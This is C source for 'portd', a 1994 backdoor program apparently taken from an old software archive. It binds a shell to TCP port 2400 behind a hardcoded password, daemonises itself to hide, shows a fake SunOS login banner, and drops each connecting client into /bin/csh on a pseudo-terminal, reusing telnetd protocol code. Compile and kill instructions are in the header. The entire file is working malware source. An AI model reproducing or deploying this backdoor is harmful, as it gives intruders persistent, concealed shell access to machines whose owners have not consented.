home *** CD-ROM | disk | FTP | other *** search
- /*
- * portd.c
- * Shell on a port. Enter a password, get dropped to a shell.
- * Coded by ELO 9th Feb 1994
- * Thanks to SMI for making this possible :)
- * Added in.telnetd.c to the top half of ts2.c. Taken longer to type these
- * credits than to write the damn thing.
- *
- * To compile: cc -s -O -o portd portd.c
- * To kill off, kill the *newest* portd pid and then the second one.
- */
- #include <sys/types.h>
- #include <sys/param.h>
- #include <sys/socket.h>
- #include <sys/wait.h>
- #include <sys/file.h>
- #include <sys/stat.h>
- #include <sys/time.h>
- #include <sys/ioctl.h>
-
- #include <netinet/in.h>
-
- #include <arpa/inet.h>
- #include <arpa/telnet.h>
-
- #include <stdio.h>
- #include <signal.h>
- #include <errno.h>
- #include <sgtty.h>
- #include <netdb.h>
- #include <ctype.h>
- #include <stdio.h>
- #include <fcntl.h>
-
- #define QLEN 5
- #define MY_PASSWORD "wank"
- #define SERV_TCP_PORT 2400 /* port I'll listen for connections on */
-
- char sbuf[2048], cbuf[2048];
- extern int errno;
- extern char *sys_errlist[];
- void reaper();
- int main();
- void telcli();
-
- char BANNER1[] = "\r\n\r\nSunOS UNIX (",
- BANNER2[] = ")\r\n\r\0\r\n\r\0";
-
- #define OPT_NO 0 /* won't do this option */
- #define OPT_YES 1 /* will do this option */
- #define OPT_YES_BUT_ALWAYS_LOOK 2
- #define OPT_NO_BUT_ALWAYS_LOOK 3
- char hisopts[256];
- char myopts[256];
-
- char doopt[] = { IAC, DO, '%', 'c', 0 };
- char dont[] = { IAC, DONT, '%', 'c', 0 };
- char will[] = { IAC, WILL, '%', 'c', 0 };
- char wont[] = { IAC, WONT, '%', 'c', 0 };
-
- /*
- * I/O data buffers, pointers, and counters.
- */
- char ptyibuf[BUFSIZ], *ptyip = ptyibuf;
-
- char ptyobuf[BUFSIZ], *pfrontp = ptyobuf, *pbackp = ptyobuf;
-
- char netibuf[BUFSIZ], *netip = netibuf;
- #define NIACCUM(c) { *netip++ = c; \
- ncc++; \
- }
-
- char netobuf[BUFSIZ], *nfrontp = netobuf, *nbackp = netobuf;
- char *neturg = 0; /* one past last bye of urgent data */
- /* the remote system seems to NOT be an old 4.2 */
- int not42 = 1;
-
- /* buffer for sub-options */
- char subbuffer[100], *subpointer= subbuffer, *subend= subbuffer;
- #define SB_CLEAR() subpointer = subbuffer;
- #define SB_TERM() { subend = subpointer; SB_CLEAR(); }
- #define SB_ACCUM(c) if (subpointer < (subbuffer+sizeof subbuffer)) { \
- *subpointer++ = (c); \
- }
- #define SB_GET() ((*subpointer++)&0xff)
- #define SB_EOF() (subpointer >= subend)
-
- int pcc, ncc;
-
- int pty, net;
- int inter;
- extern char **environ;
- extern int errno;
- char *line;
- int SYNCHing = 0; /* we are in TELNET SYNCH mode */
- /*
- * The following are some clocks used to decide how to interpret
- * the relationship between various variables.
- */
-
- struct {
- int
- system, /* what the current time is */
- echotoggle, /* last time user entered echo character */
- modenegotiated, /* last time operating mode negotiated */
- didnetreceive, /* last time we read data from network */
- ttypeopt, /* ttype will/won't received */
- ttypesubopt, /* ttype subopt is received */
- getterminal, /* time started to get terminal information */
- gotDM; /* when did we last see a data mark */
- } clocks;
-
- #define settimer(x) (clocks.x = ++clocks.system)
- #define sequenceIs(x,y) (clocks.x < clocks.y)
-
-
- char *terminaltype = 0;
- char *envinit[2];
- int cleanup();
-
- /*
- * ttloop
- *
- * A small subroutine to flush the network output buffer, get some data
- * from the network, and pass it through the telnet state machine. We
- * also flush the pty input buffer (by dropping its data) if it becomes
- * too full.
- */
-
- void
- ttloop()
- {
- if (nfrontp-nbackp) {
- netflush();
- }
- ncc = read(net, netibuf, sizeof netibuf);
- if (ncc < 0) {
- exit(1);
- } else if (ncc == 0) {
- exit(1);
- }
- netip = netibuf;
- telrcv(); /* state machine */
- if (ncc > 0) {
- pfrontp = pbackp = ptyobuf;
- telrcv();
- }
- }
-
- /*
- * getterminaltype
- *
- * Ask the other end to send along its terminal type.
- * Output is the variable terminaltype filled in.
- */
-
- void
- getterminaltype()
- {
- static char sbuf[] = { IAC, DO, TELOPT_TTYPE };
-
- settimer(getterminal);
- bcopy(sbuf, nfrontp, sizeof sbuf);
- nfrontp += sizeof sbuf;
- hisopts[TELOPT_TTYPE] = OPT_YES_BUT_ALWAYS_LOOK;
- while (sequenceIs(ttypeopt, getterminal)) {
- ttloop();
- }
- if (hisopts[TELOPT_TTYPE] == OPT_YES) {
- static char sbbuf[] = { IAC, SB, TELOPT_TTYPE, TELQUAL_SEND, IAC, SE };
-
- bcopy(sbbuf, nfrontp, sizeof sbbuf);
- nfrontp += sizeof sbbuf;
- while (sequenceIs(ttypesubopt, getterminal)) {
- ttloop();
- }
- }
- }
-
- int main(argc, argv)
- int argc;
- char *argv[];
- {
- int srv_fd, rem_fd, rem_len, opt = 1;
- struct sockaddr_in rem_addr, srv_addr;
- #if !defined(SVR4) && !defined(POSIX) && !defined(linux) && !defined(__386BSD__) && !defined(hpux)
- union wait status;
- #else
- int status;
- #endif /* !defined(SVR4) */
-
- bzero((char *) &rem_addr, sizeof(rem_addr));
- bzero((char *) &srv_addr, sizeof(srv_addr));
- srv_addr.sin_family = AF_INET;
- srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
- srv_addr.sin_port = htons(SERV_TCP_PORT);
- srv_fd = socket(PF_INET, SOCK_STREAM, 0);
- if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) {
- perror("bind");
- exit(-1);
- }
- listen(srv_fd, QLEN);
- close(0); close(1); close(2);
- #ifdef TIOCNOTTY
- if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) {
- ioctl(rem_fd, TIOCNOTTY, (char *)0);
- close(rem_fd);
- }
- #endif
- if (fork()) exit(0);
- while (1) {
- rem_len = sizeof(rem_addr);
- rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_len);
- if (rem_fd < 0) {
- if (errno == EINTR) continue;
- exit(-1);
- }
- switch(fork()) {
- case 0: /* child process */
- close(srv_fd); /* close original socket */
- telcli(rem_fd); /* process the request */
- close(rem_fd);
- exit(0);
- break;
- default:
- close(rem_fd); /* parent process */
- if (fork()) exit(0); /* let init worry about children */
- break;
- case -1:
- fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]);
- break;
- }
- }
- }
-
- void telcli(source)
- int source;
- {
- int dest;
- int found;
- struct sockaddr_in sa;
- struct hostent *hp;
- struct servent *sp;
- char gethost[100];
- char getport[100];
- char string[100];
-
- bzero(gethost, 100);
- /* sprintf(string, "Password: ");
- write(source, string, strlen(string)); */
- read(source, gethost, 100);
- gethost[(strlen(gethost)-2)] = '\0'; /* kludge alert - kill the \r\n */
- if (strcmp(gethost, MY_PASSWORD) != 0) {
- sprintf(string, "Wrong password, got %s.\r\n", gethost);
- write(source, string, strlen(string));
- close(source);
- exit(0);
- }
- doit(source);
- }
- /*
- * Get a pty, scan input lines.
- */
- doit(f)
- int f;
- {
- int i, p, t, tt;
- struct sgttyb b;
- int on = 1;
- int zero;
- char *cp;
-
- setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, &on, sizeof (on));
- for (cp = "pqrstuvwxyzPQRST"; *cp; cp++) {
- struct stat stb;
-
- line = "/dev/ptyXX";
- line[strlen("/dev/pty")] = *cp;
- line[strlen("/dev/ptyp")] = '0';
- if (stat(line, &stb) < 0)
- break;
- for (i = 0; i < 16; i++) {
- line[strlen("/dev/ptyp")] = "0123456789abcdef"[i];
- p = open(line, O_RDWR | O_NOCTTY);
- if (p > 0)
- goto gotpty;
- }
- }
- fatal(f, "All network ports in use");
- /*NOTREACHED*/
- gotpty:
- dup2(f, 0);
- line[strlen("/dev/")] = 't';
- t = open("/dev/tty", O_RDWR);
- if (t >= 0) {
- ioctl(t, TIOCNOTTY, 0);
- close(t);
- }
- t = open(line, O_RDWR | O_NOCTTY);
- if (t < 0)
- fatalperror(f, line, errno);
- ioctl(t, TIOCGETP, &b);
- b.sg_flags = CRMOD|XTABS|ANYP;
-
- /* XXX - ispeed and ospeed must be non-zero */
- b.sg_ispeed = B38400;
- b.sg_ospeed = B38400;
-
- ioctl(t, TIOCSETP, &b);
- ioctl(t, TIOCLSET, &zero);
- ioctl(p, TIOCGETP, &b);
- b.sg_flags &= ~ECHO;
- ioctl(p, TIOCSETP, &b);
- net = f;
- pty = p;
-
- /*
- * get terminal type.
- */
- getterminaltype();
-
- if ((i = fork()) < 0)
- fatalperror(f, "fork", errno);
- if (i)
- telnet(f, p);
- /*
- * The child process needs to be the session leader
- * and have the pty as its controlling tty.
- */
- (void) setpgrp(0, 0); /* setsid */
- tt = open(line, O_RDWR);
- if (tt < 0)
- fatalperror(f, line, errno);
- (void) close(f);
- (void) close(p);
- (void) close(t);
- if (tt != 0)
- (void) dup2(tt, 0);
- if (tt != 1)
- (void) dup2(tt, 1);
- if (tt != 2)
- (void) dup2(tt, 2);
- if (tt > 2)
- close(tt);
- envinit[0] = terminaltype;
- envinit[1] = 0;
- environ = envinit;
- execl("/bin/csh", "csh", 0);
- fatalperror(f, "/bin/csh", errno);
- /*NOTREACHED*/
- }
-
- fatal(f, msg)
- int f;
- char *msg;
- {
- char buf[BUFSIZ];
-
- (void) sprintf(buf, "telnetd: %s.\r\n", msg);
- (void) write(f, buf, strlen(buf));
- exit(1);
- }
-
- fatalperror(f, msg, errno)
- int f;
- char *msg;
- int errno;
- {
- char buf[BUFSIZ];
- extern char *sys_errlist[];
-
- (void) sprintf(buf, "%s: %s\r\n", msg, sys_errlist[errno]);
- fatal(f, buf);
- }
-
-
- /*
- * Check a descriptor to see if out of band data exists on it.
- */
-
-
- stilloob(s)
- int s; /* socket number */
- {
- static struct timeval timeout = { 0 };
- fd_set excepts;
- int value;
-
- do {
- FD_ZERO(&excepts);
- FD_SET(s, &excepts);
- value = select(s+1, (fd_set *)0, (fd_set *)0, &excepts, &timeout);
- } while ((value == -1) && (errno == EINTR));
-
- if (value < 0) {
- fatalperror(pty, "select", errno);
- }
- if (FD_ISSET(s, &excepts)) {
- return 1;
- } else {
- return 0;
- }
- }
-
- /*
- * Main loop. Select from pty and network, and
- * hand data to telnet receiver finite state machine.
- */
- telnet(f, p)
- {
- int on = 1;
- char hostname[MAXHOSTNAMELEN];
-
- ioctl(f, FIONBIO, &on);
- ioctl(p, FIONBIO, &on);
- #if defined(SO_OOBINLINE)
- setsockopt(net, SOL_SOCKET, SO_OOBINLINE, &on, sizeof on);
- #endif /* defined(SO_OOBINLINE) */
- signal(SIGTSTP, SIG_IGN);
- signal(SIGTTIN, SIG_IGN);
- signal(SIGTTOU, SIG_IGN);
- signal(SIGCHLD, cleanup);
- setpgrp(0, 0);
-
- /*
- * Request to do remote echo and to suppress go ahead.
- */
- if (!myopts[TELOPT_ECHO]) {
- dooption(TELOPT_ECHO);
- }
- if (!myopts[TELOPT_SGA]) {
- dooption(TELOPT_SGA);
- }
- /*
- * Is the client side a 4.2 (NOT 4.3) system? We need to know this
- * because 4.2 clients are unable to deal with TCP urgent data.
- *
- * To find out, we send out a "DO ECHO". If the remote system
- * answers "WILL ECHO" it is probably a 4.2 client, and we note
- * that fact ("WILL ECHO" ==> that the client will echo what
- * WE, the server, sends it; it does NOT mean that the client will
- * echo the terminal input).
- */
- sprintf(nfrontp, doopt, TELOPT_ECHO);
- nfrontp += sizeof doopt-2;
- hisopts[TELOPT_ECHO] = OPT_YES_BUT_ALWAYS_LOOK;
-
- /*
- * Show banner that getty never gave.
- *
- * The banner includes some null's (for TELNET CR disambiguation),
- * so we have to be somewhat complicated.
- */
-
- gethostname(hostname, sizeof (hostname));
-
- bcopy(BANNER1, nfrontp, sizeof BANNER1 -1);
- nfrontp += sizeof BANNER1 - 1;
- bcopy(hostname, nfrontp, strlen(hostname));
- nfrontp += strlen(hostname);
- bcopy(BANNER2, nfrontp, sizeof BANNER2 -1);
- nfrontp += sizeof BANNER2 - 1;
-
- /*
- * Call telrcv() once to pick up anything received during
- * terminal type negotiation.
- */
- telrcv();
-
- for (;;) {
- fd_set ibits, obits, xbits;
- register int c;
-
- if (ncc < 0 && pcc < 0)
- break;
-
- FD_ZERO(&ibits);
- FD_ZERO(&obits);
- FD_ZERO(&xbits);
- /*
- * Never look for input if there's still
- * stuff in the corresponding output buffer
- */
- if (nfrontp - nbackp || pcc > 0) {
- FD_SET(f, &obits);
- } else {
- FD_SET(p, &ibits);
- }
- if (pfrontp - pbackp || ncc > 0) {
- FD_SET(p, &obits);
- } else {
- FD_SET(f, &ibits);
- }
- if (!SYNCHing) {
- FD_SET(f, &xbits);
- }
- if ((c = select(16, &ibits, &obits, &xbits,
- (struct timeval *)0)) < 1) {
- if (c == -1) {
- if (errno == EINTR) {
- continue;
- }
- }
- sleep(5);
- continue;
- }
-
- /*
- * Any urgent data?
- */
- if (FD_ISSET(net, &xbits)) {
- SYNCHing = 1;
- }
-
- /*
- * Something to read from the network...
- */
- if (FD_ISSET(net, &ibits)) {
- #if !defined(SO_OOBINLINE)
- /*
- * In 4.2 (and 4.3 beta) systems, the
- * OOB indication and data handling in the kernel
- * is such that if two separate TCP Urgent requests
- * come in, one byte of TCP data will be overlaid.
- * This is fatal for Telnet, but we try to live
- * with it.
- *
- * In addition, in 4.2 (and...), a special protocol
- * is needed to pick up the TCP Urgent data in
- * the correct sequence.
- *
- * What we do is: if we think we are in urgent
- * mode, we look to see if we are "at the mark".
- * If we are, we do an OOB receive. If we run
- * this twice, we will do the OOB receive twice,
- * but the second will fail, since the second
- * time we were "at the mark", but there wasn't
- * any data there (the kernel doesn't reset
- * "at the mark" until we do a normal read).
- * Once we've read the OOB data, we go ahead
- * and do normal reads.
- *
- * There is also another problem, which is that
- * since the OOB byte we read doesn't put us
- * out of OOB state, and since that byte is most
- * likely the TELNET DM (data mark), we would
- * stay in the TELNET SYNCH (SYNCHing) state.
- * So, clocks to the rescue. If we've "just"
- * received a DM, then we test for the
- * presence of OOB data when the receive OOB
- * fails (and AFTER we did the normal mode read
- * to clear "at the mark").
- */
- if (SYNCHing) {
- int atmark;
-
- ioctl(net, SIOCATMARK, (char *)&atmark);
- if (atmark) {
- ncc = recv(net, netibuf, sizeof (netibuf), MSG_OOB);
- if ((ncc == -1) && (errno == EINVAL)) {
- ncc = read(net, netibuf, sizeof (netibuf));
- if (sequenceIs(didnetreceive, gotDM)) {
- SYNCHing = stilloob(net);
- }
- }
- } else {
- ncc = read(net, netibuf, sizeof (netibuf));
- }
- } else {
- ncc = read(net, netibuf, sizeof (netibuf));
- }
- settimer(didnetreceive);
- #else /* !defined(SO_OOBINLINE)) */
- ncc = read(net, netibuf, sizeof (netibuf));
- #endif /* !defined(SO_OOBINLINE)) */
- if (ncc < 0 && (
- (errno == EWOULDBLOCK) ||
- (errno == EHOSTUNREACH)|| /*icmp stuff of no interest*/
- (errno == ENETUNREACH) /*icmp stuff of no interest*/
- )
- )
- ncc = 0;
- else { /*disconnect on reset though!*/
- if (ncc <= 0) {
- break;
- }
- netip = netibuf;
- }
- }
-
- /*
- * Something to read from the pty...
- */
- if (FD_ISSET(p, &ibits)) {
- pcc = read(p, ptyibuf, BUFSIZ);
- if (pcc < 0 && errno == EWOULDBLOCK)
- pcc = 0;
- else {
- if (pcc <0)
- fatalperror(f, line, errno);
- if (pcc <= 0)
- break;
- ptyip = ptyibuf;
- }
- }
-
- while (pcc > 0) {
- if ((&netobuf[BUFSIZ] - nfrontp) < 2)
- break;
- c = *ptyip++ & 0377, pcc--;
- if (c == IAC)
- *nfrontp++ = c;
- *nfrontp++ = c;
- if ((c == '\r') && (myopts[TELOPT_BINARY] == OPT_NO)) {
- if (pcc > 0 && ((*ptyip & 0377) == '\n')) {
- *nfrontp++ = *ptyip++ & 0377;
- pcc--;
- } else
- *nfrontp++ = '\0';
- }
- }
- if (FD_ISSET(f, &obits) && (nfrontp - nbackp) > 0)
- netflush();
- if (ncc > 0)
- telrcv();
- if (FD_ISSET(p, &obits) && (pfrontp - pbackp) > 0)
- ptyflush();
- }
- cleanup();
- }
-
- /*
- * State for recv fsm
- */
- #define TS_DATA 0 /* base state */
- #define TS_IAC 1 /* look for double IAC's */
- #define TS_CR 2 /* CR-LF ->'s CR */
- #define TS_SB 3 /* throw away begin's... */
- #define TS_SE 4 /* ...end's (suboption negotiation) */
- #define TS_WILL 5 /* will option negotiation */
- #define TS_WONT 6 /* wont " */
- #define TS_DO 7 /* do " */
- #define TS_DONT 8 /* dont " */
-
- telrcv()
- {
- register int c;
- static int state = TS_DATA;
-
- while (ncc > 0) {
- if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
- return;
- c = *netip++ & 0377, ncc--;
- switch (state) {
-
- case TS_CR:
- state = TS_DATA;
- /* Strip off \n or \0 after a \r */
- if ((c == 0) || (c == '\n')) {
- break;
- }
- /* FALL THROUGH */
-
- case TS_DATA:
- if (c == IAC) {
- state = TS_IAC;
- break;
- }
- if (inter > 0)
- break;
- /*
- * We map \r\n ==> \r, since
- * We now map \r\n ==> \r for pragmatic reasons.
- * Many client implementations send \r\n when
- * the user hits the CarriageReturn key.
- *
- * We USED to map \r\n ==> \n, since \r\n says
- * that we want to be in column 1 of the next
- * line.
- */
- if ( c == '\r' && (myopts[TELOPT_BINARY] == OPT_NO)) {
- state = TS_CR;
- }
- *pfrontp++ = c;
- break;
-
- case TS_IAC:
- switch (c) {
-
- /*
- * Send the process on the pty side an
- * interrupt. Do this with a NULL or
- * interrupt char; depending on the tty mode.
- */
- case IP:
- interrupt();
- break;
-
- case BREAK:
- sendbrk();
- break;
-
- /*
- * Are You There?
- */
- case AYT:
- strcpy(nfrontp, "\r\n[Yes]\r\n");
- nfrontp += 9;
- break;
-
- /*
- * Abort Output
- */
- case AO: {
- struct ltchars tmpltc;
-
- ptyflush(); /* half-hearted */
- ioctl(pty, TIOCGLTC, &tmpltc);
- if (tmpltc.t_flushc != '\377') {
- *pfrontp++ = tmpltc.t_flushc;
- }
- netclear(); /* clear buffer back */
- *nfrontp++ = IAC;
- *nfrontp++ = DM;
- neturg = nfrontp-1; /* off by one XXX */
- break;
- }
-
- /*
- * Erase Character and
- * Erase Line
- */
- case EC:
- case EL: {
- struct sgttyb b;
- char ch;
-
- ptyflush(); /* half-hearted */
- ioctl(pty, TIOCGETP, &b);
- ch = (c == EC) ?
- b.sg_erase : b.sg_kill;
- if (ch != '\377') {
- *pfrontp++ = ch;
- }
- break;
- }
-
- /*
- * Check for urgent data...
- */
- case DM:
- SYNCHing = stilloob(net);
- settimer(gotDM);
- break;
-
-
- /*
- * Begin option subnegotiation...
- */
- case SB:
- state = TS_SB;
- continue;
-
- case WILL:
- state = TS_WILL;
- continue;
-
- case WONT:
- state = TS_WONT;
- continue;
-
- case DO:
- state = TS_DO;
- continue;
-
- case DONT:
- state = TS_DONT;
- continue;
-
- case IAC:
- *pfrontp++ = c;
- break;
- }
- state = TS_DATA;
- break;
-
- case TS_SB:
- if (c == IAC) {
- state = TS_SE;
- } else {
- SB_ACCUM(c);
- }
- break;
-
- case TS_SE:
- if (c != SE) {
- if (c != IAC) {
- SB_ACCUM(IAC);
- }
- SB_ACCUM(c);
- state = TS_SB;
- } else {
- SB_TERM();
- suboption(); /* handle sub-option */
- state = TS_DATA;
- }
- break;
-
- case TS_WILL:
- if (hisopts[c] != OPT_YES)
- willoption(c);
- state = TS_DATA;
- continue;
-
- case TS_WONT:
- if (hisopts[c] != OPT_NO)
- wontoption(c);
- state = TS_DATA;
- continue;
-
- case TS_DO:
- if (myopts[c] != OPT_YES)
- dooption(c);
- state = TS_DATA;
- continue;
-
- case TS_DONT:
- if (myopts[c] != OPT_NO) {
- dontoption(c);
- }
- state = TS_DATA;
- continue;
-
- default:
- printf("telnetd: panic state=%d\n", state);
- exit(1);
- }
- }
- }
-
- willoption(option)
- int option;
- {
- char *fmt;
-
- switch (option) {
-
- case TELOPT_BINARY:
- mode(RAW, 0);
- fmt = doopt;
- break;
-
- case TELOPT_ECHO:
- not42 = 0; /* looks like a 4.2 system */
- /*
- * Now, in a 4.2 system, to break them out of ECHOing
- * (to the terminal) mode, we need to send a "WILL ECHO".
- * Kludge upon kludge!
- */
- if (myopts[TELOPT_ECHO] == OPT_YES) {
- dooption(TELOPT_ECHO);
- }
- fmt = dont;
- break;
-
- case TELOPT_TTYPE:
- settimer(ttypeopt);
- if (hisopts[TELOPT_TTYPE] == OPT_YES_BUT_ALWAYS_LOOK) {
- hisopts[TELOPT_TTYPE] = OPT_YES;
- return;
- }
- fmt = doopt;
- break;
-
- case TELOPT_SGA:
- fmt = doopt;
- break;
-
- case TELOPT_TM:
- fmt = dont;
- break;
-
- default:
- fmt = dont;
- break;
- }
- if (fmt == doopt) {
- hisopts[option] = OPT_YES;
- } else {
- hisopts[option] = OPT_NO;
- }
- sprintf(nfrontp, fmt, option);
- nfrontp += sizeof (dont) - 2;
- }
-
- wontoption(option)
- int option;
- {
- char *fmt;
-
- switch (option) {
- case TELOPT_ECHO:
- not42 = 1; /* doesn't seem to be a 4.2 system */
- break;
-
- case TELOPT_BINARY:
- mode(0, RAW);
- break;
-
- case TELOPT_TTYPE:
- settimer(ttypeopt);
- break;
- }
-
- fmt = dont;
- hisopts[option] = OPT_NO;
- sprintf(nfrontp, fmt, option);
- nfrontp += sizeof (doopt) - 2;
- }
-
- dooption(option)
- int option;
- {
- char *fmt;
-
- switch (option) {
-
- case TELOPT_TM:
- fmt = wont;
- break;
-
- case TELOPT_ECHO:
- mode(ECHO|CRMOD, 0);
- fmt = will;
- break;
-
- case TELOPT_BINARY:
- mode(RAW, 0);
- fmt = will;
- break;
-
- case TELOPT_SGA:
- fmt = will;
- break;
-
- default:
- fmt = wont;
- break;
- }
- if (fmt == will) {
- myopts[option] = OPT_YES;
- } else {
- myopts[option] = OPT_NO;
- }
- sprintf(nfrontp, fmt, option);
- nfrontp += sizeof (doopt) - 2;
- }
-
-
- dontoption(option)
- int option;
- {
- char *fmt;
-
- switch (option) {
- case TELOPT_ECHO:
- /*
- * we should stop echoing, since the client side will be doing it,
- * but keep mapping CR since CR-LF will be mapped to it.
- */
- mode(0, ECHO);
- fmt = wont;
- break;
-
- default:
- fmt = wont;
- break;
- }
-
- if (fmt = wont) {
- myopts[option] = OPT_NO;
- } else {
- myopts[option] = OPT_YES;
- }
- sprintf(nfrontp, fmt, option);
- nfrontp += sizeof (wont) - 2;
- }
-
- /*
- * suboption()
- *
- * Look at the sub-option buffer, and try to be helpful to the other
- * side.
- *
- * Currently we recognize:
- *
- * Terminal type is
- */
-
- suboption()
- {
- switch (SB_GET()) {
- case TELOPT_TTYPE: { /* Yaaaay! */
- static char terminalname[5+41] = "TERM=";
-
- settimer(ttypesubopt);
-
- if (SB_GET() != TELQUAL_IS) {
- return; /* ??? XXX but, this is the most robust */
- }
-
- terminaltype = terminalname+strlen(terminalname);
-
- while ((terminaltype < (terminalname + sizeof terminalname-1)) &&
- !SB_EOF()) {
- register int c;
-
- c = SB_GET();
- if (isupper(c)) {
- c = tolower(c);
- }
- *terminaltype++ = c; /* accumulate name */
- }
- *terminaltype = 0;
- terminaltype = terminalname;
- break;
- }
-
- default:
- ;
- }
- }
-
- mode(on, off)
- int on, off;
- {
- struct sgttyb b;
-
- ptyflush();
- ioctl(pty, TIOCGETP, &b);
- b.sg_flags |= on;
- b.sg_flags &= ~off;
- ioctl(pty, TIOCSETP, &b);
- }
-
- /*
- * Send interrupt to process on other side of pty.
- * If it is in raw mode, just write NULL;
- * otherwise, write intr char.
- */
- interrupt()
- {
- struct sgttyb b;
- struct tchars tchars;
-
- ptyflush(); /* half-hearted */
- ioctl(pty, TIOCGETP, &b);
- if (b.sg_flags & RAW) {
- *pfrontp++ = '\0';
- return;
- }
- *pfrontp++ = ioctl(pty, TIOCGETC, &tchars) < 0 ?
- '\177' : tchars.t_intrc;
- }
-
- /*
- * Send quit to process on other side of pty.
- * If it is in raw mode, just write NULL;
- * otherwise, write quit char.
- */
- sendbrk()
- {
- struct sgttyb b;
- struct tchars tchars;
-
- ptyflush(); /* half-hearted */
- ioctl(pty, TIOCGETP, &b);
- if (b.sg_flags & RAW) {
- *pfrontp++ = '\0';
- return;
- }
- *pfrontp++ = ioctl(pty, TIOCGETC, &tchars) < 0 ?
- '\034' : tchars.t_quitc;
- }
-
- ptyflush()
- {
- int n;
-
- if ((n = pfrontp - pbackp) > 0)
- n = write(pty, pbackp, n);
- if (n < 0)
- return;
- pbackp += n;
- if (pbackp == pfrontp)
- pbackp = pfrontp = ptyobuf;
- }
-
- /*
- * nextitem()
- *
- * Return the address of the next "item" in the TELNET data
- * stream. This will be the address of the next character if
- * the current address is a user data character, or it will
- * be the address of the character following the TELNET command
- * if the current address is a TELNET IAC ("I Am a Command")
- * character.
- */
-
- char *
- nextitem(current)
- char *current;
- {
- if ((*current&0xff) != IAC) {
- return current+1;
- }
- switch (*(current+1)&0xff) {
- case DO:
- case DONT:
- case WILL:
- case WONT:
- return current+3;
- case SB: /* loop forever looking for the SE */
- {
- register char *look = current+2;
-
- for (;;) {
- if ((*look++&0xff) == IAC) {
- if ((*look++&0xff) == SE) {
- return look;
- }
- }
- }
- }
- default:
- return current+2;
- }
- }
-
-
- /*
- * netclear()
- *
- * We are about to do a TELNET SYNCH operation. Clear
- * the path to the network.
- *
- * Things are a bit tricky since we may have sent the first
- * byte or so of a previous TELNET command into the network.
- * So, we have to scan the network buffer from the beginning
- * until we are up to where we want to be.
- *
- * A side effect of what we do, just to keep things
- * simple, is to clear the urgent data pointer. The principal
- * caller should be setting the urgent data pointer AFTER calling
- * us in any case.
- */
-
- netclear()
- {
- register char *thisitem, *next;
- char *good;
- #define wewant(p) ((nfrontp > p) && ((*p&0xff) == IAC) && \
- ((*(p+1)&0xff) != EC) && ((*(p+1)&0xff) != EL))
-
- thisitem = netobuf;
-
- while ((next = nextitem(thisitem)) <= nbackp) {
- thisitem = next;
- }
-
- /* Now, thisitem is first before/at boundary. */
-
- good = netobuf; /* where the good bytes go */
-
- while (nfrontp > thisitem) {
- if (wewant(thisitem)) {
- int length;
-
- next = thisitem;
- do {
- next = nextitem(next);
- } while (wewant(next) && (nfrontp > next));
- length = next-thisitem;
- bcopy(thisitem, good, length);
- good += length;
- thisitem = next;
- } else {
- thisitem = nextitem(thisitem);
- }
- }
-
- nbackp = netobuf;
- nfrontp = good; /* next byte to be sent */
- neturg = 0;
- }
-
- /*
- * netflush
- * Send as much data as possible to the network,
- * handling requests for urgent data.
- */
-
-
- netflush()
- {
- int n;
-
- if ((n = nfrontp - nbackp) > 0) {
- /*
- * if no urgent data, or if the other side appears to be an
- * old 4.2 client (and thus unable to survive TCP urgent data),
- * write the entire buffer in non-OOB mode.
- */
- if ((neturg == 0) || (not42 == 0)) {
- n = write(net, nbackp, n); /* normal write */
- } else {
- n = neturg - nbackp;
- /*
- * In 4.2 (and 4.3) systems, there is some question about
- * what byte in a sendOOB operation is the "OOB" data.
- * To make ourselves compatible, we only send ONE byte
- * out of band, the one WE THINK should be OOB (though
- * we really have more the TCP philosophy of urgent data
- * rather than the Unix philosophy of OOB data).
- */
- if (n > 1) {
- n = send(net, nbackp, n-1, 0); /* send URGENT all by itself */
- } else {
- n = send(net, nbackp, n, MSG_OOB); /* URGENT data */
- }
- }
- }
- if (n < 0) {
- if (errno == EWOULDBLOCK)
- return;
- /* should blow this guy away... */
- return;
- }
- nbackp += n;
- if (nbackp >= neturg) {
- neturg = 0;
- }
- if (nbackp == nfrontp) {
- nbackp = nfrontp = netobuf;
- }
- }
-
- cleanup()
- {
- vhangup(); /* XXX */
- shutdown(net, 2);
- exit(1);
- }
-